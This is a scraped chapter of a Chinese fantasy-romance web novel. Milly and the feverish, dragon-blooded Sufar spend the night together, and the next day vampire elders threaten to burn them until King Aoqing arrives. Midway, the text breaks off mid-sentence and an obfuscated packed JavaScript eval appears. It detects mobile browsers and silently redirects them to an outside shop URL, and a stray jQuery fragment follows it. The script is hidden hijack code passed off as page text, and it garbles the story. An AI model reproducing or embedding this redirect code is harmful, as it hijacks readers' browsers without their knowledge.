“怎么了?”苏法尔的声音从黑暗中传来。
郁闷的咪莉不想搭理他,没有说话。
没过一会儿,他就从床的另一边靠了过来,从咪莉身后伸出一只手,绕过她的腰摸到了她放在小腹上的手:“肚子疼吗?”
他的手很大,掌心几乎包裹着她瘦软的小腹。
咪莉甩开他的手,顿时就来气了,撅起嘴巴:“都怪你啊,一直烦我,离我远点。”
不知为什么,她的鼻子忽然酸酸的,她很想念以前那些无忧无虑的日子,在学校里学习,回到家帮忙看店,奥倾忙完自己的工作会来找她一起吃饭,那些美好的记忆就像遥远的梦蒙着一层沙土那样再也不看不清了。
“对不起。”苏法尔轻轻说完,又贴了过来,把自己的手放在她的小腹上说,“我发着烧,手很热,我给你捂捂。”
怕咪莉不同意,他补充道:“就当我个是个暖手宝嘛,你也没损失,该用我的地方就用。”
说着他就把手钻进咪莉的睡衣里面,直接接触到她柔软紧致的小腹,话语声带着低沉:“这样更暖一些。”
咪莉咬紧了唇,逼退眼睛里的湿润,把脸埋在枕头上,眼角渗出的一点湿意融进了枕头上。她从鼻子里冷嗤一声,带着些哑音,倒是没再反抗,因为他的掌心确实很烫,覆在自己小肚子上时,疼痛感也立马消减许多,非常舒服。
但是不知道他是不是故意的,身子挨得很近,一只胳膊随意放在两人枕的枕头上,曲起的膝盖也轻轻抵着她的脚心。
他的呼吸声有些重,在自己头顶上缓慢地响起,她似乎还闻到了他身上清冽的冷香,但他身体明明像个火炉那么烫。
而且她自己好像也发烧了,不然为什么脸和耳朵都像烧起来一样,还有被他掌心覆盖着的地方,也是像被灼烧般火热,她感觉自己就像个被放在烤盘上的烤红薯,皮已经焦脆了,里面也已经软烂到流心。
咪莉有些不自然地清了清嗓子,苏法尔听见后问她舒服吗。
她草草点头,终于从记忆的碎片里挑出个合适的话题来驱散她烤红薯的幻想:“对了,我忘了告诉你,我今天见到了你的小时候,在牢里。”
苏法尔闭着眼睛,懒怠地应了一声,大拇指在她小肚子摩了摩。
咪莉轻轻打了一下他的手背:“你怎么都不关心你的小时候?他被可怜兮兮地关在天牢里哎!”
苏法尔蹭了蹭枕头,双眼依旧没有睁开:“这个时候他应该已经跟魔王在回魔界的路上了,死不了就行。”
“哪有这样说自己的啊。”咪莉鼓起脸,摸向他放在自己小肚子上的手挠了挠,“不过你小时候可顺眼多了,眼睛圆圆的,头发还长,长得可乖了,就像我小学里特别喜欢的一个妹妹,懂事善良,还会关心人。”
苏法尔轻笑了声,嗓音里发出慵懒的声调:“嗯……这个时候我还不知道我的真实身世,当然还算善良。”
“咦?”原来苏法尔身世这么曲折吗,咪莉往后侧了侧脸,“那你是什么时候知道的?”
没有人回答她。
咪莉不满地抓着他的手指晃了一下:“喂,不要装睡!”
苏法尔却把放在枕头上的那只胳膊放到了她的脖子下,小臂一弯,就将她圈在了怀里,而被窝里的那只手也揉揉她的小腹,投降般道:“咪莉,我好困,头也很晕,让我睡觉好吗?”
咪莉皱起脸,分辨不出他到底有没有说谎,但已经快到了凌晨,确实到了已经入梦的时间。
“哼,看在你是病患的份上,明天再盘问你。”咪莉在他怀里拱了拱,把枕着的胳膊摆弄了个不咯人的姿势进入了梦乡。
第二天一大早,倒是咪莉先清醒,她缩着身子蜷在一个体温炙热的怀抱里,眼皮微微睁开,便是一具胸肌鼓起的男人胸膛。
咪莉没有时间思考他什么时候把上衣脱了,抬起头打量着还在睡梦中的苏法尔。
他的鼻梁挺而窄,在半边脸上投下一片浅色阴影,碎发柔软地散在额头和枕头上,那只菱形耳钻折射出冰冷的暗光,让这张脸庞显得有些冷峻。
咪莉鬼使神差地伸出一根手指,去触碰他长长的浓密睫毛,见他颤了颤眼珠,连忙收回手等了一会儿。
他没有醒,她就像在他身上探索新事物一样又摸摸他脖子上的凸出喉结、深壑的锁骨、充满魅力的肌肉线条。
苏法尔喉结一滚,眼睛睁也不睁地把调皮作乱的咪莉紧紧搂进怀里,充满怨气地在她头顶迷迷糊糊说:“好不容易在做美梦,被你吵醒了。”
“唔……”咪莉被他突如其来的举动吓得缩成了一团,声音埋在他的怀里闷闷的,她挣了挣,把脸露出来,看见的是他精致的下颚,“你醒了?”
她支支吾吾着,想把自己刚刚奇怪的举动盖过去,便仰起脸问他:“你身体好些了吗?”
苏法尔揉了揉自己那头有些凌乱的黑发:“我没事了。”
不愧是龙族血统,不仅发烧,就连昨天那要死不活的重创身子也好到活蹦乱跳了。
苏法尔洗了个澡,神清气爽地穿上洁白的衬衫和黑色长裤,脸上的小伤口也已经愈合不见疤,头发因为没有吹干还带有些湿润。
咪莉走到站在全身镜面前的苏法尔身后,不可思议地眨眼:“真厉害啊,不说别的,换我脸上划到口子也得一个月才能没疤呢。”
苏法尔穿上他的风衣外套,嘴角露出个谦虚的笑:“除了血统原因,也是因为自小就受伤惯了,所以好起来也会比别人更快些。”
咪莉怔怔地看着他,又想起了小苏法尔。
她歪了歪脸,正准备想继续昨晚的盘问,外面却突然闯进来两个脸色阴鸷的白脸黑发血族:“请两位跟我们走一趟。”
那充满杀意的眼神和咬牙切齿的语气,哪里有半分请的意味。
咪莉直觉等会儿可能要被大卸八块赔偿血族损失,下意识抓住了苏法尔的胳膊:“怎么办怎么办,我死了你就没办法……”
也不对,人家已经有了备用圣女选择。
咪莉在心里哀嚎,打算让可恶的苏法尔给她陪葬。
苏法尔倒是气定神闲,温文尔雅地冲闯进来的那两个颔首:“好的。”
跟着那两个血族的一路,咪莉都在四处观察寻找逃跑路线,发觉这里种植非常多,到处都是青翠挺拔的各类高大树木,虽然很利于隐藏身形,但也阻碍了她观察的视线范围。
咪莉沮丧地呼了口气,再看看苏法尔,人家揣着口袋信步闲庭,不像被押过去的犯人,更像优雅高贵的主人。
“喂,我们到底怎么逃走?”咪莉压低声音询问他,故意落后几步和前面那两个血族拉开些距离。
苏法尔看她一眼,眼里的光芒自信到让咪莉觉得他一定有万全之策,然而他却这样说:“我精神被纳罗消耗极大,恐怕难以和奥倾他们对抗,或许我们得在这里做一对落难夫妻了。”
“谁要和你做落难夫妻啊!”咪莉气急败坏地提高了些音量,已经不顾忌那两个血族会不会听到他们对话了,“我要回家!”
苏法尔弯弯唇角,抚摸着她的脑袋:“别太生气了,没吃早餐小心低血糖昏倒。”
他说着乱七八糟不相干的话,咪莉打开他的手,怒气冲冲地走到了前头,当然心里还是不放弃找着什么路线逃走。
走过许多弯弯绕绕的路,经过一条平铺的大道,他们被带到了一个类似议事大殿的地方,粗壮却刻画着精美绝伦图案的罗马柱伫立在大殿之中,远处的黑色高座铺着一层柔软的黑天鹅绒,宝座上并没有人。
殿内站着两排身穿暗色系的贵族礼服的血族们,一排排精致小巧的扣子勾勒出他们修长身形,有的戴了礼帽,有的没有,他们的发色不是黑色就是棕色,少有几个是暗金色的,脸庞都异常年轻俊美。
只有最前头的两个披着黑色长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14296232|145966||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
袍的长卷发血族年纪稍大,看起来像普通人类的六十岁左右,不过他们是万年不死的血族,真实年纪到底多大咪莉也看不出来。
她心跳如鼓地紧跟在苏法尔身边,下意识地在殿内环视了一圈。
没有奥倾,甚至连埃比茨也不在。
不是说奥倾是血族新王吗?这么重要的审判犯人环节他不在吗?难道这群人是背着奥倾做的?
“该死的人类!竟然做出那样猖狂的行为让我们的食物逃走,杀了她!”
一个突然拔高的男人声音响彻在空旷的大殿中,吓得咪莉顿时精神抖擞,瞪大着双眼谨慎地看着这群忽然面露凶光的血族们,他们的血牙阴森森的,已经毫不掩饰地露在了嘴唇上,这是血族对敌人明目张胆地捕杀象征。
咪莉紧张地缩了缩最可能先受伤的脖子,和苏法尔停在大殿中央。
前方其中一个老血族站了出来,脸上肌肤苍白到已经显露出密密麻麻的蓝色血丝,这让他整个人都面目可怖起来。
“为什么要放走我们的祭品?”他的声音犹如失去了生机干哑,猩红的眼眸紧紧盯着已经浑身冒汗的咪莉。
“伯恩长老,还跟他们废话做什么!直接杀了他们!”年轻的血族沉不住气,满脸怒火。
“对!直接杀了这对不知天高地厚的狗男女!我们再抓紧时间尽快重新征选祭品!”
谁是狗男女啊,你们讲话能不能不要血口喷人。
咪莉不满地皱眉,但碍于对方人多势众,她不敢吭声,不过苏法尔确实是个狗男人。
“是啊,不要再在他们身上浪费时间了,我已经整整半个月都在喝人造血度日了,我的脸已经凹陷到美娜嫌弃我了!天哪!该死!”
“我也是最近睡眠质量很差,脸上竟然出现了黑眼圈。”
“唉,宝菲尔也嫌我的持久力越来越短了,她会离我而去的……”
“你怎么什么都说,能不能留点男人面子?”
“哼,又不止我一个这样,大家喝不到纯正人血,都会有这种症状。”
前面的还能听懂,但是后面的……
咪莉抬头问苏法尔:“什么持久力会短?”
苏法尔微愣,看着咪莉,然后有些邪恶地勾起唇角,但是却不解释。
咪莉不耐烦地皱眉,被另一位长老打断思绪:“既然如此,也不浪费时间了,直接在祭坛烧死他们,我和伯恩会尽快重新安排新的祭品事宜。”
烧死?!这也太残忍了吧。
咪莉忍不住为自己争取:“能不能换个死法啊,有没有无色无味喝了不痛苦的毒药?把我们毒死也成。”
苏法尔无辜的“嗯?”了一声:“咪莉,放走祭品的是你,怎么我也要跟着你被毒死吗?”
咪莉瞪着他:“你不要想自己脱身,我告诉你,今天你就得陪我死。”
“在冥极大殿齐聚议事,为何不上报我?”
大殿门口,一个身形挺拔的男人从一旁走了出来,他的金发颜色耀眼到闪闪发亮,浅金的眼眸也灿烂如阳,是这里唯一一个头发与眼眸颜色为明亮系的血族。
奥倾信步走进大殿之中,冷冽气势瞬间将两排血族逼得微微后退,他身后是跟着来的埃比茨,修长手指撩拨着耳边散落的一缕长发露出慵懒的微笑:“还能因为什么?不把你这个血族之王放在眼里呗,要我说干脆把这些没本事只会怨天尤人的窝囊废全拉出去一个个都烧死得了,免得我们这位小妹妹死得寂寞。”
“埃比茨你少猖狂!”
一名前排的血族看了看脸色已经极为难看的长老,怒斥着埃比茨:“别以为你是奥倾朋友就可以肆无忌惮!”
埃比茨无趣地哼了一声,然后看向咪莉,顿时变得兴致勃□□来。
咪莉看着这个笑得像书里邪恶大反派的埃比茨,立刻浑身一抖地往苏法尔身后躲躲,然后再悄悄地望向朝宝座方向走去的奥倾。